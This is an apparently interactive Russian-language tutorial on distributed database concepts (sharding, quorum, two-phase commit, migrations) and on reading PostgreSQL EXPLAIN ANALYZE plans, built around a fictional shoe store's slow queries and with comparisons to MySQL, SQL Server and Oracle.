    Шесть сценариев по шагам

    Выберите, что происходит, и пройдите по шагам.

    глава 9 · когда одной базы мало откуда берутся шарды, кворум и 2PC

    «Ботинок» растёт. Реплики помогли с чтением, но однажды перестанет хватать и записи, и места на одном сервере. Дальше появляются слова, которые выглядят как отдельные темы. На самом деле это одна цепочка: каждое следующее решение появилось как ответ на беду, созданную предыдущим. Пройдите её — и всё встанет на места.

    Главная мысль этой цепочки. Ни один пункт не появился «потому что так правильно». Каждый — вынужденный ответ на конкретную беду, и у каждого есть цена. Поэтому и брать их надо по очереди и только когда прижало, а не сразу все, потому что «это же современная архитектура».

    глава 9 · шардирование разрезать базу на куски: главное — чем резать

    определениеШардирование — это когда данные делят между несколькими независимыми базами (шардами). Каждый шард хранит только свою часть. Какая строка в какой шард попадёт, решает ключ шардирования — например, номер клиента.
    Житейски. Картотека не влезла в один шкаф, и её разложили по четырём кабинетам: фамилии А–Ж в первом, З–О во втором и так далее. Найти дело Иванова — быстро: сразу ясно, в какой кабинет идти. А вот «все дела, заведённые в марте» — придётся обойти все четыре.

    Выберите ключ и посмотрите, как распределится запись за сегодняшний день и сколько шардов придётся обойти на типичные вопросы.

    глава 9 · кворум как договориться без начальника

    Есть базы вообще без мастера — Cassandra, DynamoDB, Riak. Там никто не главный, и вопрос «какое значение правильное» решается голосованием.

    определениеКворум — минимальное число копий, которые должны ответить, чтобы операция считалась успешной. Правило, на котором всё держится, состоит из трёх букв.
      N  —  сколько всего копий данных
      W  —  скольких копий дождаться при ЗАПИСИ
      R  —  скольких копий спросить при ЧТЕНИИ
    
      если  W + R > N   →   читающий ГАРАНТИРОВАННО
                            зацепит хотя бы одну свежую копию
    Почему это работает — на пальцах. Три ящика. Вы кладёте записку в два из трёх. Кто-то открывает два ящика наугад. Может ли он промахнуться мимо обеих ваших? Нет: два плюс два — это четыре «посещения» на три ящика, значит хотя бы один ящик посетили оба. Вот и всё доказательство.

    Покрутите ручки и посмотрите, что получается.

    3
    2
    2

    глава 9 · 2PC транзакция на две базы и почему её почти не применяют

    Когда данные разъехались по разным базам, транзакция из пятой главы перестаёт работать: она живёт внутри одной базы. Кто-то должен её изобразить.

    определениеДвухфазный коммит (2PC, two-phase commit) — протокол, в котором координатор сначала спрашивает все базы «готовы?», и только если все ответили «да», командует «фиксируем».
    Житейски. Свадьба. Регистратор спрашивает обоих: «Согласны?» — это первая фаза. Только если оба сказали «да», он объявляет: «Вы муж и жена» — это вторая. Если регистратор упал в обморок между «да» и объявлением, пара стоит и не знает, женаты они или нет.

    глава 10 · база в бою как менять схему таблицы, когда останавливать систему нельзя

    «Ботинок» работает круглосуточно. А разработчикам надо переименовать колонку. Переименование — операция на секунду. Но пока она идёт, старый код уже не работает, а новый ещё не выкачен.

    определениеСхема — это описание таблиц: какие есть колонки, какого они типа, какие действуют правила. Миграция — изменение схемы на живой базе. Безопасный способ её провести один, и он называется расширить и сжать (expand–contract).
    Житейски. Нельзя поменять рельсы под идущим поездом. Но можно проложить рядом вторые, перевести поезд на них, а старые разобрать потом. Три отдельных дела вместо одного невозможного.

    глава 10 · аварии семь способов уронить базу, которые встречаются чаще всего

    Всё, что мы разобрали, в бою ломается предсказуемо. Вот семь самых частых поломок — почти каждая связана с одной из глав выше. Нажмите на строку — разбор: как выглядит, отчего происходит, чем лечится.

    глава 11 · проверьте себя базы данных

    Все задачи — из жизни. Если ответ не очевиден, вернитесь к главе с подсказкой в скобках: реплики (8), изоляция (6), пул (7), миграции (10).

    Решено 0 из 0.

    Вся история в пяти фразах. База — склад с кладовщиком, который обещает не потерять, найти, не дать испортить и пустить многих сразу. Быстро находить помогает индекс. Не терять половину операции — транзакция. Не мешать друг другу — блокировки и изоляция. А когда одного узла мало, появляются реплики, шарды и кворум — и у каждого решения своя цена.
    Дальше → как посмотреть, что база делает с вашим запросом: EXPLAIN ANALYZE, Seq Scan, Index Scan, соединения

    EXPLAIN — это рентген запроса. Он показывает, как база собирается достать данные и — с ANALYZE — сколько это стоило на самом деле: какие таблицы она прочитает целиком, где спустится по индексу, как соединит таблицы, где будет сортировать и где упрётся в память. Весь раздел — одна история. У магазина «Ботинок» тормозит страница «Мои заказы» у Анны и отчёт Олега, а разработчик Борис учится читать планы и по шагам лечит обе беды. Основной пример — PostgreSQL 18; где MySQL, MS SQL и Oracle устроены иначе, будут врезки.

    зачем это зачем аналитику и архитектору читать планы запросов

    карта раздела одна история, шестнадцать глав

    Читайте по порядку: каждая глава опирается на предыдущую. Если вы уже знаете основы, прыгайте сразу в пятую главу — там «живой план», в котором можно всё крутить руками.

    глава 1 · завязка понедельник, 10:00: «Мои заказы» открываются шесть секунд

    Понедельник, десять утра. В поддержку «Ботинка» пишет Анна: «Открываю "Мои заказы" — крутится кружок секунд пять-шесть. Раньше такого не было». Через десять минут приходит второе письмо, от аналитика Олега: «Отчёт "Покупатели из Казани за сентябрь" на прошлой неделе строился мгновенно. Сегодня — почти три секунды на каждый запуск. Вчера, кстати, залили базу покупателей нашего нового партнёра из Казани».

    Разработчик Борис открывает мониторинг. Процессор сервера базы данных загружен на 90 %, диск читает по 400 МБ в секунду. Код никто не менял уже неделю. Что происходит?

    У Бориса одно правило: не чинить, пока не увидел. Можно, конечно, «на всякий случай» добавить пару индексов или попросить сервер помощнее. Но база умеет сама рассказать, как она выполняет каждый запрос. Надо только спросить.

    План запроса (query plan) — пошаговый рецепт, по которому база выполнит конкретный SQL-запрос: какие таблицы и каким способом читать, в каком порядке их соединять, где сортировать и группировать. План составляет сама база — перед каждым выполнением запроса.
    навигатор в машине. Вы говорите ему только «куда» — SQL тоже описывает только «что нужно», а не «как это найти». Навигатор сам выбирает «как»: по трассе или дворами. Он не объезжает все дороги, а прикидывает по карте пробок, какой маршрут быстрее. Карта пробок у базы — это статистика о данных. Устарела карта — навигатор уверенно ведёт вас в пробку.
    EXPLAIN — команда, которая показывает план запроса, не выполняя его: только оценки. EXPLAIN ANALYZE запрос выполняет и рядом с оценками пишет, что было на самом деле: сколько строк нашлось, сколько миллисекунд заняло каждое действие, сколько страниц прочитано.
    EXPLAIN — маршрут на экране навигатора до поездки: «ехать 25 минут». EXPLAIN ANALYZE — трек после поездки: «ехали 70 минут, из них 40 стояли на мосту». Оба полезны, но правду говорит только второй.

    Что увидел Борис

    Борис взял запрос страницы «Мои заказы» и выполнил его с EXPLAIN ANALYZE. Пока не пытайтесь понять каждое слово — в четвёртой главе разберём всё по буквам. Посмотрите на выделенное.

    EXPLAIN ANALYZE
    SELECT id, created_at, status, total FROM orders
    WHERE customer_id = 42
      AND created_at >= '2026-09-01' AND created_at < '2026-10-01'
    ORDER BY created_at DESC;
    
    Gather Merge  (cost=99958.43..99959.60 rows=12 width=30) (actual time=402.118..405.702 rows=12.00 loops=1)
      Workers Planned: 2
      ...
            ->  Parallel Seq Scan on orders  (cost=0.00..98958.33 rows=5 width=30) (actual time=61.340..398.497 rows=4.00 loops=3)
                  Filter: ((customer_id = 42) AND (created_at >= ...) AND (created_at < ...))
                  Rows Removed by Filter: 1666663
                  Buffers: shared hit=2781 read=59719
    Execution Time: 405.771 ms

    В переводе на человеческий: чтобы найти 12 заказов Анны за сентябрь, база прочитала все пять миллионов заказов — 62 500 страниц, почти полгигабайта — и выбросила 4 999 988 неподходящих строк. На одну страницу у одного человека — 0,4 секунды работы трёх процессов базы. А таких страниц в минуту открывают сотни. Вот и 90 % процессора, и очередь, и шесть секунд у Анны.

    С отчётом Олега другая беда, и её видно по другой строке:

    Nested Loop  (cost=0.43..34207.20 rows=1007 width=40) (actual time=0.061..2874.301 rows=641.00 loops=1)
      ->  Seq Scan on customers c  (cost=0.00..20000.00 rows=3360 width=18) (actual time=0.015..96.772 rows=302093.00 loops=1)
      ->  Index Scan using orders_customer_id_idx on orders o  (...) (actual time=0.009..0.009 rows=0.00 loops=302093)

    База ожидала найти 3 360 покупателей из Казани, а нашла 302 093 — в 90 раз больше. Для трёх тысяч «сходить в индекс заказов за каждым» — отличный план. Для трёхсот тысяч — катастрофа: 302 093 спуска по индексу. План выбран по устаревшей «карте пробок»: вчерашняя загрузка партнёра ещё не попала в статистику.

    Проще говоря. Две жалобы — две разные болезни. У Анны базе нечем быстро найти строки: нет подходящего индекса. У Олега индекс есть, но база неправильно посчитала, сколько строк её ждёт, и выбрала способ, который хорош для малого и ужасен для большого. Оба диагноза видны прямо в плане — без гаданий. Научиться их ставить — цель этого раздела.

    Мир примеров этого раздела

    Все планы в разделе — для одной базы «Ботинка». Запомните несколько чисел: они будут встречаться постоянно.

    ordersзаказы: 5 000 000 строк, 62 500 страниц по 8 КБ ≈ 488 МБ; ≈ 80 строк на странице
    customersпокупатели: 500 000 строк, 6 250 страниц ≈ 49 МБ
    Анна · customer_id = 42380 заказов за шесть лет, из них 12 — в сентябре 2026
    Казань2 093 покупателя (0,42 %); после загрузки партнёра — 302 093
    work_mem = 32MBпамять на одну сортировку или хеш-таблицу (в PostgreSQL по умолчанию 4MB, у «Ботинка» подняли)
    PostgreSQL 18формат вывода — как в 18-й версии; отличия 16–17 оговорены
    Страница (page, block) — единица хранения и чтения данных: в PostgreSQL это 8 КБ. База читает с диска и держит в памяти не отдельные строки, а страницы целиком. Таблица — это файл из страниц, индекс — тоже.
    в библиотеке вам выдают не абзац, а книгу целиком. Нужна одна цитата — всё равно несёте всю книгу. Поэтому главный вопрос о любом запросе: сколько книг пришлось принести.
    Буферный кеш (shared buffers) — область памяти PostgreSQL, где лежат недавно прочитанные страницы. Нашлась страница там — это hit (попадание, быстро). Не нашлась — read: страницу пришлось запросить у операционной системы, а та достала её из своего кеша или с диска.

    глава 2 · путь запроса что происходит между «отправили SQL» и «получили строки»

    Прежде чем читать план, полезно понять, откуда он берётся. Запрос внутри PostgreSQL проходит четыре станции. Пройдите их по шагам.

    📝 Разбор (parser и analyzer)

    Проверяет грамматику SQL и превращает текст в дерево. Затем сверяется со справочником базы: есть ли таблица orders, есть ли в ней колонка customer_id, какого она типа. Опечатка в имени колонки ловится здесь.

    🔁 Переписывание (rewriter)

    Раскрывает представления (view): если вы обратились к v_active_orders, сюда подставится его определение. После этой станции база видит запрос только к настоящим таблицам.

    🧭 Планировщик (planner, optimizer)

    Самая умная станция. Перебирает варианты: чем читать каждую таблицу, в каком порядке и каким способом соединять. Каждому варианту считает стоимость по статистике и выбирает самый дешёвый. Результат — дерево узлов, тот самый план.

    ⚙️ Исполнитель (executor)

    Выполняет дерево. Каждый узел — маленький механизм: «прочитать таблицу», «отсортировать», «соединить». Строки текут снизу вверх: листья читают таблицы, верхние узлы обрабатывают то, что им отдали снизу.

    Оптимизатор по стоимости (cost-based optimizer) — планировщик, который не следует жёстким правилам вроде «есть индекс — бери индекс», а оценивает каждый вариант числом: сколько страниц прочитать подряд, сколько вразброс, сколько строк обработать процессором. Побеждает минимальное число. Так работают планировщики PostgreSQL, MySQL, MS SQL и Oracle.
    вы выбираете, как добраться до дачи: электричка — 1 час, но до неё 20 минут пешком; машина — 50 минут, если нет пробок. Вы не пробуете оба способа, а прикидываете в уме по опыту и прогнозу. Если прогноз врёт — выбор неправильный, хотя логика была верной.

    Какие варианты перебирал планировщик для запроса Анны

    Для одного простого запроса вариантов немного. Нажмите на строку, чтобы увидеть, почему у варианта такая стоимость. Стоимость — в условных единицах (о них — в главе 7).

    Как считается перебор для соединений. Если в запросе три таблицы, только порядков их соединения уже 3! = 6, а для каждой пары — ещё три способа соединения. Для 8 таблиц порядков 40 320, для 12 — почти полмиллиарда. Поэтому PostgreSQL перебирает честно только до определённого размера (join_collapse_limit = 8), а начиная с 12 таблиц в FROM (geqo_threshold = 12) включает генетический алгоритм GEQO — ищет «достаточно хороший» план, а не лучший. Запрос на 15 соединений почти всегда стоит переписать или разбить.

    Строки текут снизу вверх: как узлы просят данные друг у друга

    Исполнитель работает по принципу «дай следующую строку». Верхний узел просит строку у нижнего, тот — у своего нижнего, и так до таблицы. Строка поднимается наверх и уходит клиенту, потом всё повторяется. Так работает почти каждая СУБД. Посмотрите на запрос «три самых дорогих заказа»: SELECT * FROM orders ORDER BY total DESC LIMIT 3.

    Стартовая стоимость и полная стоимость (startup cost, total cost) — два числа в каждом узле плана: cost=0.43..8.45. Первое — сколько работы нужно, чтобы узел отдал первую строку. Второе — чтобы отдал все. У Seq Scan первое число 0: первая строка готова сразу. У Sort первое почти равно второму: сортировка не отдаст ни одной строки, пока не увидит все.
    официант с пиццей нарезает и выносит куски по одному — первый кусок можно есть через минуту. А повар, которому надо выбрать три самых больших пирога из сотни, не скажет ответ, пока не взвесит все сто. Первый — «конвейер», второй — «блокирующий» узел.

    Подготовленные запросы: план один на всех

    Приложения обычно шлют запросы с параметрами: WHERE customer_id = $1. Такой запрос можно подготовить один раз (PREPARE, или это делает драйвер базы сам) и выполнять много раз. Первые пять выполнений PostgreSQL строит индивидуальный план (custom plan) под конкретное значение. Потом он может перейти на общий план (generic plan) — один на все значения, если тот в среднем не дороже. Экономится время планирования.

    Ловушка. Общий план не знает, кто пришёл: Анна с 380 заказами или оптовик с 200 000. Для одного хорош индекс, для другого — полное чтение таблицы. Симптом: «в консоли запрос быстрый, а из приложения — медленный». Диагностика: EXPLAIN (GENERIC_PLAN) SELECT … WHERE customer_id = $1 (с PostgreSQL 16) покажет общий план. Лечение для таких запросов — plan_cache_mode = force_custom_plan на уровне сессии или роли.
    Planning Time тоже время. Для простых запросов планирование может занимать больше, чем выполнение: 0,2 мс против 0,05 мс. Это нормально, и именно поэтому подготовленные запросы экономят ресурсы на частых коротких запросах.

    глава 3 · режимы EXPLAIN, EXPLAIN ANALYZE и десяток опций

    Команда одна, режимов много. Главное различие — выполняется запрос или нет.

    🗺 EXPLAIN — только план

    Запрос не выполняется. Мгновенно и безопасно даже для DELETE. Показывает только оценки: стоимость и ожидаемое число строк. Годится, чтобы проверить «возьмёт ли база мой индекс» и чтобы смотреть планы запросов, которые выполняются минутами.

    ⏱ EXPLAIN ANALYZE — план и факт

    Запрос выполняется по-настоящему, результат выбрасывается. Рядом с оценками — фактические строки, время каждого узла, число проходов и (с 18-й версии автоматически) прочитанные страницы. Единственный способ увидеть, где база ошиблась.

    Осторожно: ANALYZE правда выполняет. EXPLAIN ANALYZE DELETE FROM orders WHERE … удалит строки. Для INSERT, UPDATE, DELETE, MERGE оборачивайте в транзакцию и откатывайте:
    BEGIN;
    EXPLAIN (ANALYZE) UPDATE orders SET status = 'paid' WHERE id = 4815162;
    ROLLBACK;   -- изменения отменены, план остался на экране
    Помните: даже откаченный UPDATE успел взять блокировки строк на время транзакции, а тяжёлый SELECT успел нагрузить базу. На боевой базе ставьте SET statement_timeout = '30s' и лучше запускайте на реплике.

    Опции: что добавляет каждая

    Опции пишутся в скобках через запятую: EXPLAIN (ANALYZE, BUFFERS, VERBOSE) SELECT …. Нажмите на строку таблицы — появится пояснение.

    Что изменилось в PostgreSQL 18. Три вещи, которые вы увидите в примерах этого раздела. 1. BUFFERS теперь включается сам вместе с ANALYZE. В 16–17 его нужно писать явно: EXPLAIN (ANALYZE, BUFFERS) — пишите всегда, это самая полезная опция. 2. Фактическое число строк показывается с двумя знаками: rows=0.31 вместо округлённого rows=0 — это среднее на один проход узла. 3. У индексных узлов появилась строка Index Searches — сколько раз база спускалась по индексу.

    Конструктор: включайте опции и смотрите, что меняется

    Запрос — «Мои заказы» Анны, когда составной индекс уже есть. Или UPDATE, чтобы увидеть опцию WAL. Переключайте опции: вывод меняется так, как его покажет PostgreSQL 18.

    
        

    Тот же рентген в других базах

    Идея везде одна: оценочный план и фактический. Отличаются команда, формат и названия узлов.

    🐬 MySQL 8.x

    Классический EXPLAIN — таблица: по строке на каждую таблицу запроса. Смотрят на колонки type (от лучшего к худшему: const, eq_ref, ref, range, index, ALL — полное чтение), key (какой индекс взят), rows (оценка) и Extra (Using index — покрывающий индекс, Using filesort — сортировка, Using temporary — временная таблица). Дерево, как в PostgreSQL, даёт EXPLAIN FORMAT=TREE (с 8.0.16), а фактическое время — EXPLAIN ANALYZE (с 8.0.18; в 8.4 — только в формате TREE).

    🪟 Microsoft SQL Server

    В SQL Server Management Studio — «предполагаемый план» и «фактический план» (Include Actual Execution Plan) в виде графической схемы; текстом — SET SHOWPLAN_XML ON. Счётчики страниц и времени — SET STATISTICS IO, TIME ON (logical reads — аналог Buffers). Узлы: Table Scan, Clustered Index Scan, Index Seek, Key Lookup (поход за строкой), Nested Loops, Hash Match, Merge Join, Sort. Историю планов хранит Query Store — в SQL Server 2022 он включён по умолчанию для новых баз.

    🏛 Oracle

    Оценочный план: EXPLAIN PLAN FOR SELECT …; затем SELECT * FROM TABLE(DBMS_XPLAN.DISPLAY);. Фактический: выполнить запрос с подсказкой /*+ GATHER_PLAN_STATISTICS */ и вызвать DBMS_XPLAN.DISPLAY_CURSOR(NULL, NULL, 'ALLSTATS LAST') — там рядом колонки E-Rows (оценка) и A-Rows (факт), Starts (аналог loops). Узлы: TABLE ACCESS FULL, INDEX RANGE SCAN, TABLE ACCESS BY INDEX ROWID, HASH JOIN, NESTED LOOPS.

    -- MySQL 8.4: тот же запрос Анны, индекс только по customer_id
    EXPLAIN ANALYZE SELECT id, created_at, status, total FROM orders
    WHERE customer_id = 42 AND created_at >= '2026-09-01' ORDER BY created_at DESC\G
    
    -> Sort: orders.created_at DESC  (actual time=2.31..2.32 rows=12 loops=1)
        -> Filter: (orders.created_at >= TIMESTAMP'2026-09-01 00:00:00')  (cost=141 rows=127) (actual time=0.61..2.29 rows=12 loops=1)
            -> Index lookup on orders using idx_customer (customer_id=42)  (cost=141 rows=380) (actual time=0.058..2.21 rows=380 loops=1)

    Шпаргалка: одно и то же действие в четырёх базах. Нажмите на строку — пояснение.

    Важное отличие MySQL. В InnoDB сама таблица — это B-дерево по первичному ключу (кластерный индекс): строки лежат отсортированными по id. Вторичный индекс хранит не адрес строки, а значение первичного ключа, поэтому «сходить за строкой» — это второй спуск, уже по дереву первичного ключа. В PostgreSQL таблица — «куча» (heap) без порядка, а индекс хранит прямой адрес строки: номер страницы и позицию в ней (TID). Отсюда разные советы: в MySQL длинный первичный ключ раздувает все индексы, в PostgreSQL — нет.

    глава 4 · чтение как читать план построчно

    Вот полный план отчёта Олега — ещё до загрузки партнёра, когда отчёт работал за 60 мс. В нём есть почти всё, что встречается в планах. Нажимайте на подчёркнутые кусочки — справа или ниже появится объяснение. Объясните себе все, прежде чем идти дальше.

    разобрано частей: 0 из 0

    Как устроено дерево

    Узел плана (plan node) — одна операция: прочитать таблицу, спуститься по индексу, соединить, отсортировать. В тексте плана узел — строка с (cost=…). Строки с отступом под ней, начинающиеся с ->, — её дети: они поставляют ей строки. Строки без стрелки (Filter:, Buffers:) — подробности самого узла.
    кухня ресторана. Шеф (верхний узел) собирает блюдо из того, что принесли повара ниже: один нарезал овощи (Seq Scan), другой обжарил мясо (Index Scan). Шеф не начнёт, пока ему не принесут. Читать план — это идти от продуктов к блюду: снизу вверх и изнутри наружу.

    Девять правил, которые отличают человека, «видевшего EXPLAIN», от человека, который его понимает. Нажмите на правило, чтобы раскрыть.

    Потренируйтесь считать

    Решено 0 из 0.

    глава 5 · живой план лаборатория: выберите запрос, покрутите индексы — и смотрите, как меняется план

    Это главная игрушка раздела. Выберите один из пяти запросов «Ботинка» и включайте переключатели. Слева — текст плана, каким его покажет PostgreSQL 18. Справа — то же дерево картинкой: полоска показывает, какую долю времени съел узел. Нажмите ▶ Выполнить — внизу исполнитель начнёт читать страницы индекса и таблицы: подряд или вразброс, и побегут счётчики. Нажимайте на любую строку плана — получите объяснение каждого поля.

    запрос
    
        
    что есть в базе
    текст плана — нажмите на строку
    дерево узлов — полоска = доля собственного времени
    Как читать анимацию. Полоска — вся таблица или весь индекс от первой страницы до последней. Заливка слева направо — чтение подряд (цвета — разные процессы-рабочие при параллельном чтении). Отдельные чёрточки — чтение вразброс: каждая чёрточка — прыжок к конкретной странице. Пунктирные чёрточки — страницы, отмеченные в битовой карте, которые потом прочитаны по порядку. Шкала времени анимации логарифмическая: 0,04 мс и 2,9 с в одном масштабе не показать.
    Оговорки модели. Числа в планах — реалистичные для описанной базы, но не снятые с настоящего сервера. Для запроса с JOIN параллельные рабочие отключены (SET max_parallel_workers_per_gather = 0), чтобы дерево было короче. Переключатель «статистика устарела» означает: вчера залили много данных, а ANALYZE и VACUUM по этим таблицам ещё не прошли.

    глава 6 · доступ к таблице шесть способов прочитать таблицу — и когда какой быстрее

    В лаборатории вы видели, что одна и та же таблица читается очень по-разному. Способ чтения одной таблицы называется метод доступа (access method) или просто «скан». Это листья дерева плана — с них всё начинается. Разберём каждый: что делает по шагам, на что похож, как выглядит в плане и когда планировщик его выбирает.

    1. Seq Scan — последовательное чтение

    Seq Scan (sequential scan, последовательное сканирование) — чтение всех страниц таблицы подряд, от первой до последней. Каждая строка проверяется условием Filter; подходящие отдаются наверх, остальные выбрасываются и попадают в счётчик Rows Removed by Filter.
    найти на складе все синие коробки, пройдя по всем рядам подряд. Долго, если склад огромный, а синих коробок три. Но если синих — треть склада, быстрее способа нет: вы не бегаете туда-обратно, а идёте ровным шагом.
    Seq Scan on orders  (cost=0.00..125000.00 rows=150210 width=30)
      Filter: (created_at >= '2026-09-01 00:00:00+03'::timestamp with time zone)

    Когда выбирается

    Таблица маленькая (сотни страниц). Нужна большая доля строк. Нет подходящего индекса. Условие нельзя проверить по индексу (функция над колонкой, LIKE '%x').

    Скорость

    Растёт линейно с размером таблицы — O(n). Зато каждая страница читается подряд — самое дешёвое чтение: диск и операционная система заранее подтягивают следующие страницы, а в PostgreSQL 18 ещё и работает асинхронный ввод-вывод. Ориентир: 488 МБ из памяти — сотни миллисекунд, с диска — секунды.

    Seq Scan — не ругательство. Для таблицы справочника на 200 строк или для отчёта по всему году — это правильный выбор. Плохо, когда Seq Scan по большой таблице стоит под маленьким результатом: «прочитали пять миллионов, вернули 12».

    2. Index Scan — по индексу и за каждой строкой в таблицу

    Index Scan — чтение через индекс: база спускается по дереву индекса к нужным ключам и для каждой найденной записи прыгает в таблицу за самой строкой.
    алфавитный указатель в конце книги. Нашли слово «сапоги» — «стр. 17, 203, 58». Открыли 17-ю, вернулись к указателю, открыли 203-ю, вернулись, открыли 58-ю. Три прыжка — отлично. Три тысячи прыжков — проще прочитать книгу целиком.

    По шагам, как это делает PostgreSQL:

    1
    Спуск по дереву. Корень индекса → промежуточная страница → лист. Даже для пяти миллионов строк это всего 3 страницы: дерево не двоичное, а очень ветвистое — в одной странице индекса 8 КБ помещаются сотни ключей.Во вкладке «Базы данных» мы считали, что для 10 млн строк нужно около 24 шагов. Это сравнения ключей, и они никуда не делись: примерно 8 сравнений внутри каждой из трёх страниц. А с диска читаются только 3–4 страницы.
    2
    Находим первую подходящую запись в листе. Запись индекса — это ключ и адрес строки: TID (tuple identifier) = номер страницы таблицы + номер строки в ней, например (48213,7).
    3
    Прыжок в таблицу по адресу. Читаем страницу 48213 — это случайное чтение: страница где угодно в файле таблицы.
    4
    Проверка видимости и фильтра. Строка могла быть удалена или изменена другой транзакцией — индекс этого не знает, знает только таблица (так устроена многоверсионность MVCC). Если есть Filter по колонкам не из индекса — проверяем и его.
    5
    Следующая запись в листе — листья связаны в цепочку, подниматься к корню не надо. Снова прыжок в таблицу. И так, пока ключ подходит под условие.
    Index Scan using orders_customer_id_idx on orders  (cost=0.43..56.72 rows=1 width=30)
      Index Cond: (customer_id = 42)         <- по этому условию спускались в индекс
      Filter: (created_at >= '2026-09-01 …') <- а это проверили уже в строке таблицы

    Когда выбирается

    Нужно немного строк: одна, десятки, сотни. Нужен порядок индекса — тогда Index Scan заменяет сортировку (ORDER BY) и отлично работает с LIMIT: прочитал 20 записей — остановился. Index Scan Backward — то же самое, но по индексу с конца.

    Скорость

    Поиск — O(log n), плюс одно случайное чтение на каждую строку. Если строк сотни тысяч — это сотни тысяч прыжков. Исключение — когда таблица физически лежит в порядке индекса (заказы дописываются по времени, индекс по created_at): тогда прыжки идут почти подряд. Эту «упорядоченность» статистика хранит в поле correlation.

    3. Index Only Scan — ответ целиком в индексе

    Index Only Scan — чтение только индекса, без походов в таблицу. Возможно, когда все колонки, нужные запросу (в SELECT, WHERE, ORDER BY), лежат в самом индексе.
    вам нужно не содержание страниц, а только «на каких страницах встречается слово». Это написано прямо в указателе — книгу можно не открывать.

    Есть тонкость. Индекс не знает, видна ли строка вашей транзакции: эта информация хранится в самой таблице. Поэтому PostgreSQL заглядывает в карту видимости.

    Карта видимости (visibility map) — маленький служебный файл рядом с таблицей: по два бита на каждую страницу. Один из битов значит «все строки на этой странице видны всем транзакциям». Если бит стоит — в таблицу можно не ходить. Если нет — придётся сходить и проверить; каждый такой поход считается в строке Heap Fetches. Биты проставляет VACUUM, а любое изменение строки на странице их сбрасывает.
    на корешке каждой главы — отметка «правок нет». Есть отметка — верим указателю. Нет — открываем главу и проверяем, не вычеркнули ли абзац.
    Index Only Scan Backward using orders_cust_created_cov_idx on orders
      Index Cond: ((customer_id = 42) AND (created_at >= …) AND (created_at < …))
      Heap Fetches: 0     <- в таблицу не ходили ни разу — идеально
    Heap Fetches ≈ rows — Index Only Scan не работает. После массовой загрузки или обновления, пока VACUUM не прошёл, карта видимости пустая, и «только индекс» превращается в обычный Index Scan. Лечение — VACUUM orders или более частый автовакуум для этой таблицы.

    4. Bitmap Index Scan + Bitmap Heap Scan — сначала список, потом обход

    Битовая карта (bitmap) — список адресов подходящих строк, отсортированный по номеру страницы. Bitmap Index Scan проходит индекс и не ходит в таблицу, а ставит отметки в битовой карте. Потом Bitmap Heap Scan читает отмеченные страницы таблицы по порядку номеров — каждую один раз.
    вместо того чтобы бегать от указателя к книге, вы сначала выписываете на листок все нужные номера страниц, сортируете их и проходите книгу один раз от начала к концу, открывая только отмеченные. Прыжков нет, повторов нет.
    Bitmap Heap Scan on customers  (cost=48.39..231.66 rows=50 width=45)
      Recheck Cond: (email ~~ '%anna%'::text)
      Heap Blocks: exact=1297       <- прочитано 1297 страниц таблицы, каждая один раз
      ->  Bitmap Index Scan on customers_email_trgm_idx  (cost=0.00..48.38 rows=50 width=0)
            Index Cond: (email ~~ '%anna%'::text)

    Recheck Cond

    Условие, которое перепроверяется на строках таблицы. Нужно, если карта стала «грубой» (см. справа) или индекс сам по себе приблизительный (как триграммный GIN). Сколько строк отсеяно перепроверкой — Rows Removed by Index Recheck.

    lossy — «грубая» карта

    Карта живёт в памяти размером work_mem. Не помещается — PostgreSQL перестаёт помнить конкретные строки и помнит только страницы. Тогда на каждой такой странице перепроверяются все строки. В плане: Heap Blocks: exact=1203 lossy=48211.

    BitmapAnd / BitmapOr

    Две карты от двух разных индексов можно пересечь или объединить: WHERE status = 'new' AND city_id = 7 при отдельных индексах на каждую колонку. Это главный способ, которым PostgreSQL использует два индекса сразу.

    Когда выбирается. Средние выборки: от сотен до сотен тысяч строк, когда обычный Index Scan напрыгался бы, а Seq Scan читал бы лишнее. Условия с OR и IN. Цена: порядок индекса теряется — для ORDER BY понадобится отдельная сортировка, и с LIMIT битовая карта строится целиком.

    5. Parallel Seq Scan — читаем втроём

    Параллельное сканирование (Parallel Seq Scan) — несколько процессов (workers, рабочие) делят таблицу на куски и читают одновременно. Узел Gather над ними собирает строки в один поток; Gather Merge собирает с сохранением порядка сортировки.
    три кладовщика делят склад на ряды: каждый идёт по своим, в конце складывают найденное в одну тележку.
    Gather  (cost=1000.00..9859.17 rows=50 width=45) (actual time=0.874..96.402 rows=1382.00 loops=1)
      Workers Planned: 2     <- планировщик хотел 2 рабочих
      Workers Launched: 2    <- получил 2 (свободных могло и не быть)
      ->  Parallel Seq Scan on customers  (…) (actual time=1.214..91.806 rows=460.67 loops=3)
    Почему loops=3, если рабочих двое. Третий — ведущий процесс: пока рабочие читают, он тоже читает. rows=460.67 — среднее на один процесс; всего строк 460,67 × 3 = 1 382. Параллельность включается для таблиц больше min_parallel_table_scan_size (8 МБ), по умолчанию до двух рабочих на узел (max_parallel_workers_per_gather = 2). Она ускоряет в 1,5–2,5 раза, но не меняет сути O(n) и забирает ядра у других запросов. Бывают и Parallel Index Scan, и Parallel Bitmap Heap Scan.

    6. TID Scan — по прямому адресу

    TID Scan — чтение строки по её физическому адресу: WHERE ctid = '(48213,7)'. С PostgreSQL 14 есть и Tid Range Scan для диапазона адресов.
    вы знаете точное место: «стеллаж 48213, полка 7». Ни указатель, ни обход не нужны.

    В прикладном коде почти не встречается: адрес ctid меняется при каждом UPDATE и при переупаковке таблицы, хранить его нельзя. Живёт в служебных скриптах — например, при удалении дубликатов.

    Все четыре главных способа наперегонки

    Маленькая таблица orders на 24 страницы (по 4 строки). Запрос: SELECT id, total FROM orders WHERE total BETWEEN 4000 AND 4500. Индекс — по total (для Index Only Scan — с INCLUDE (id)). Значения total никак не связаны с тем, на какой странице лежит строка. Точкой в углу отмечены страницы, где есть подходящие строки. Стоимость считается в «страницах»: подряд — 1, вразброс — 4 (так же считает и PostgreSQL, об этом — в следующей главе).

    сколько строк подходит
    Как читать. Зелёная заливка — страница прочитана подряд. Синяя — прочитана прыжком (случайное чтение). Жёлтая рамка — ту же страницу пришлось читать повторно. Пунктир — страница отмечена в битовой карте, жёлтая заливка — прочитана при обходе карты. Над страницами — индекс: корень и листья.
    Что вы увидите. На 2 строках побеждают индексные способы, Seq Scan зря читает все 24 страницы. На 8 строках Index Scan уже прыгает на одну и ту же страницу дважды, а Bitmap догоняет Seq Scan. На 30 строках обычный Index Scan проигрывает с огромным отрывом: 30 прыжков по 4 — дороже, чем 24 страницы подряд. А Index Only Scan выигрывает всегда — пока карта видимости свежая. Включите «VACUUM давно не было» и посмотрите, как он превращается в обычный Index Scan.

    Когда какая скорость: ориентиры на таблице orders

